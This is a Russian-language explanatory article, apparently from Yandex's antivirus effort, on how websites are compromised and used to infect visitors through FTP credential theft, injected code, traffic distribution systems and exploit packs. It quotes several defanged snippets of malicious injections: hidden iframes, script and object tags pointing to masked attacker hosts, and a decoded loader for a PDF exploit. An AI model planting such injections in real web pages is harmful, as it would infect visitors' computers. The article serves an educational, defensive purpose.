Вы думаете заразиться сложно? Для этого достаточно зайти на веб-страницу с вредоносным кодом и...
Последние несколько лет вирусы чаще всего распространяются именно через веб-сайты. Яндекс хочет защитить своих пользователей от растущей вирусной угрозы и теперь помечает опасные сайты в результатах поиска.
Информация к размышлению
По данным компании Sophos ®, в 2008 году каждые 4,5 секунды обнаруживалась зараженная веб-страница, каждый день создавалось несколько сайтов, распространяющих фальшивые антивирусы. С ростом популярности социальных сетей количество электронных сообщений с вредоносными вложениями увеличилось в 5 раз. Сейчас каждый месяц обнаруживается несколько новых модификаций вируса подмены страниц. При этом каждый десятый сайт, распространяющий вредоносное ПО, хостится в России. Очевидно, при таких темпах распространения угрозы безопасность пользователей поиска скоро станет базовой функциональностью поисковых систем. Антивирусные компании прогнозируют продолжение бурного роста количества сайтов с вредоносным кодом.
По данным Яндекса, еженедельно пользователи совершали более 2 миллионов переходов из результатов поиска на сайты, содержащие страницы с вредоносным кодом.
Как получают доступ к сайту
Часто вредоносными становятся обычные сайты, веб-мастера которых не уделили достаточного внимания вопросам информационной безопасности. Для сайтов с высокой посещаемостью злоумышленники могут выполнять целенаправленный анализ и поиск уязвимостей с целью обойти защиту и получить возможность изменить содержимое. Иногда их целью становятся баннерные сети или счетчики. Взлом подобных систем позволяет автоматически распространить вредоносный код по всем страницам с этими баннерами или счетчиками.
Есть и другие схемы заражения страниц, самые распространенные из которых в общих чертах описаны ниже.
Очень часто для администрирования (обновления, добавления, удаления страниц и изображений) используется FTP-доступ к серверу, на котором расположен веб-сайт. Злоумышленники занимаются подбором паролей или кражей учетных записей FTP на зараженных компьютерах веб-мастеров. Для подбора паролей специальная программа обходит серверы в интернете и пытается соединиться по протоколу FTP, указывая наиболее типичные логины и пароли из "словаря" часто используемых или перебирая варианты. До сих пор веб-мастера используют "слабые" пароли и такой метод все еще позволяет собирать учетные записи.
Также учетные записи могут быть украдены трояном, заразившим компьютер веб-мастера. Троян знает, где популярные программы сохраняют логины и пароли для доступа и считывает конфигурационные файлы или записи реестра и отправляет их на сервер злоумышленников. Кроме этого, он может "прихватить" пароли ICQ и социальных сетей, другие конфиденциальные данные. Злоумышленники, старающиеся распространить зловредный код, могут как собирать базу паролей самостоятельно, так и покупать данные для доступа к сайту на черном рынке.
Как происходит заражение сайта
Специальная программа заходит на каждый сервер из базы с помощью похищенного логина и пароля. Там она ищет файлы стандартные для большинства веб-сайтов, например, 'index.php', 'index.asp', 'index.html' и т.д., и меняет их содержимое так, чтобы отображение такой страницы на пользовательском компьютере могло вызвать его заражение.
Так как списки для FTP доступа могут многократно перепродаваться на закрытых форумах, заражение одних и тех же сайтов может происходить разными вирусами и не один раз.
Как выглядит вредоносный код
Примеры. Вредоносный код может добавлять к страницам такие конструкции:
<iframe src="http: //****-*******.net/?click=12078406" width=1 height=1 style="visibility:hidden;position:absolute"></ifra me>
или
<script src=http: //www.****.ru/script.js></script>
или такой
<object data='http: //***.name/in.cgi?2 ' type='text/html' style='display:none'></object>
А баннерная система для взрослых может использовать такой код:
<script language="javascript">
var xxxwidth= 300;
var xxxheight= 100;
var xxxbgcolor= '';
var xxxcolor= 'blue';
var xxxsize= 16;
var xxxcount= 5;
</script>
<script language="javascript" src="http: //*****-*****.ru/load.php?id=330"></script>
Маскировка вредоносного кода
Часто авторы кода стараются затруднить его анализ и обнаружение, используя специальные техники, называемые обфускацией (от англ. obfuscation). Это может выглядеть так:
Заражение компьютера пользователя
Почему происходит заражение? Казалось бы, страница просто загружается браузером и отображается. Если бы в программах не было ошибок, то загрузка и отображение были бы всегда безопасными действиями. К сожалению, такие ошибки (уязвимости) есть, они и используются злоумышленниками. Хотя компании регулярно выпускают обновления для своих продуктов, злоумышленники постоянно исследуют их в поиске новых уязвимостей.
Вредоносный код на загружаемой пользователем странице, выполняясь, использует уязвимости приложений, что позволяет злоумышленникам получить полный контроль над атакуемым компьютером. Специально написанная для этого программа или скрипт называется эксплойт (от англ. exploit). Эксплойты для разных типов уязвимостей объединяют в наборы (exploit packs) для повышения вероятности заражения компьютера жертвы. Для атаки используются уязвимости как в самом браузере, так и в других приложениях и дополнениях (например, в плагинах для просмотра PDF и flash).
Как на этом зарабатывают
Очень часто код, внедренный в страницу сайта, перенаправляет пользователя на эксплойт или рекламный сайт не напрямую, а через специальный сервер злоумышленников, который называют Traffic Distribution System (TDS). Задача этой системы -- "перебрасывать" пользователей дальше и собирать статистику в зависимости от характеристик атакуемого компьютера. Например, TDS может анализировать версию используемого браузера и направлять пользователя на систему с вредоносным кодом, где есть эксплойт для его версии.
Если код эксплойта получил контроль над компьютером пользователя, то он выполняет загрузку и исполнение основной части вируса. Эта часть остается активной на компьютере жертвы и может выполнять множество вредоносных действий. Например, собирать имена и пароли для FTP и других установленных программ и отправлять их злоумышленникам. Или же использовать их для дальнейшего заражения сайтов. Или показывать пользователю рекламу, подменять результаты поисковых систем. Следить за действиями пользователя и "коллекционировать" учетные записи для популярных сайтов или online-банков. Часто различные зловредные модули могут объединяться, а компьютер включаться в сеть из инфицированных систем (бот-сеть), контролируемых злоумышленниками. Крупнейшие ботнеты в мире насчитывают миллионы "зомбированных" компьютеров. Продажа услуг такой сети -- еще одна статья дохода злоумышленников. Бот-сеть может использоваться для рассылки спама или организации DDoS-атак.
Пример
Рассмотрим код, который можно встретить в зараженной баннерной системе или на popunder-баннере. Казалось бы, "безобидный" код
<script language="javascript" src="http: //*****-*****.ru/load.php?id=330"></script>
кроме показа баннера вставляет на страницу и такой код
<iframe src="http: //************.com/tds/in.cgi?13" frameborder=0 width=0 height=0></iframe>
Если открыть эту страницу в Firefox 3.0.10, то после выполнения кода баннерной системы браузер пользователя автоматически перейдет по ссылке, указанной в IFRAME, а ссылка приведет на TDS злоумышленников. В ответ от TDS браузер получает автоматическое перенаправление на следующий сайт, где расположен эксплойт, учитывающий версию браузера. Он рассчитан на уязвимость в Adobe Acrobat Reader и приводится в действие обфусцированным кодом, который в расшифрованном виде выглядит так:
function pdf() { var my_div = document.createElement("div"); my_div.innerHTML = "<object data=\"http: //****.org/spl/pdf.php\" type=\"application/pdf\" width=100 height=100></object>"; document.body.appendChild(my_div); } pdf();
Послесловие
Задачи по борьбе с вирусами появились в Яндексе около года назад. Мы надеемся, что наш поиск, став более безопасным, снизит темпы распространения вредоносных программ в Рунете.
Группа пролетарского гнева компании Яндекс